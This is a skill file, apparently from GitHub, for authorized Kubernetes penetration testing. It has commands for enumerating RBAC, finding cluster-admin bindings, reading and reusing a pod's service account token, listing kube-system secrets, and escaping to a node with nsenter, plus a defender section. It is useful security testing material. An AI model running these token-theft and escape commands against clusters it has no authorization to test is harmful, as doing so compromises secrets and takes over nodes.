k8s-pentest

Use when penetration testing Kubernetes clusters on an authorized engagement. Covers cluster enumeration, RBAC abuse, pod escape to node, etcd access, and service account token theft. Also use when a

SKILL.md

GitHub

Kubernetes clusters pack powerful APIs and flat pod networks behind one control plane: a single over privileged service account can mean cluster admin. This skill covers authorized pentesting: enumerating from inside and outside, abusing RBAC, escaping to nodes, and reviewing etcd. Test only clusters you are authorized to assess, and avoid disrupting workloads.

Quick Workflow

  1. Get the access level in scope: unauthenticated, pod service account, or low privilege user.
  2. Enumerate: nodes, pods, namespaces, and your own permissions with kubectl auth can-i.
  3. Hunt RBAC misconfigurations: cluster admin bindings, wildcard verbs, and automount tokens.
  4. Try pod escape: privileged pods, hostPath mounts, and node access.
  5. Check etcd: can you read secrets directly.
  6. Review the API server exposure and dashboard access.
  7. Check network policies: is the pod network actually segmented.
  8. Report each path with the exact commands and the blast radius.

1. Enumeration and RBAC

# Who am I and what can I do
kubectl auth can-i --list
kubectl auth can-i create pods --all-namespaces
kubectl get pods -A -o wide | head -20
# Find dangerous bindings: cluster-admin and wildcards
kubectl get clusterrolebindings -o json | \
  python3 -c "
import json,sys
d=json.load(sys.stdin)
for b in d['items']:
    for s in b.get('subjects',[]):
        if b['roleRef']['name']=='cluster-admin':
            print(b['metadata']['name'],'->',s.get('name'),s.get('kind'))
"
kubectl get clusterroles -o json | python3 -c "
import json,sys
d=json.load(sys.stdin)
for r in d['items']:
    for rule in r.get('rules',[]):
        if '*' in rule.get('verbs',[]) or '*' in rule.get('resources',[]):
            print('WILDCARD:',r['metadata']['name'])
" | head -20

2. Service account token abuse

# Inside a pod: check the mounted token and what it can do
cat /var/run/secrets/kubernetes.io/serviceaccount/token | cut -c1-40
kubectl --token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) \
  --server=https://kubernetes.default.svc auth can-i --list 2>&1 | head -30
# Over privileged default service accounts are the classic entry
# Secrets access: the fastest path to escalation
kubectl get secrets -A 2>/dev/null | head -20
kubectl get secret -n kube-system -o json | \
  python3 -c "import json,sys,base64; d=json.load(sys.stdin);
[print(i['metadata']['name']) for i in d['items']]" | head

3. Pod escape checks

# Am I privileged or host mounted? (inside the test pod)
cat /proc/self/status | grep -i cap
mount | grep -E "hostPath|/host" | head -5
# hostPath to / : chroot to the node
# privileged + hostPID: nsenter to the node
nsenter --target 1 --mount --uts --ipc --net --pid -- ps aux | head -5

Edge cases

  • Managed clusters (EKS, GKE, AKS) hide etcd and the control plane. Focus on RBAC, workloads, and cloud IAM bindings instead.
  • Network policies block your enumeration. That is a control working; verify the policies cover all namespaces.
  • The audit log is the main evidence. Request it rather than hammering the API.

Escalation

  • Stuck as a limited service account: look for secrets mounted in pods, CI service accounts, and dashboard access.
  • RBAC is tight: pivot to workload vulnerabilities (the app in the pod) or to cloud IAM roles bound to service accounts.
  • Node access achieved: the cluster is effectively owned; document and stop to avoid disruption.

Detection and defender view

Defenders see k8s attacks as unusual API calls (list secrets across namespaces), new privileged pods, and exec into pods. They detect with audit logging, Falco style runtime alerts, and RBAC change monitoring. The durable defense is least privilege RBAC, no automount where unneeded, network policies by default deny, and private control planes.

Key references

  • MITRE ATT&CK T1613 (Container and Resource Discovery), T1552 (Unsecured Credentials).
  • CWE-862 (Missing Authorization): RBAC gaps.
  • Kubernetes security documentation and CIS benchmarks.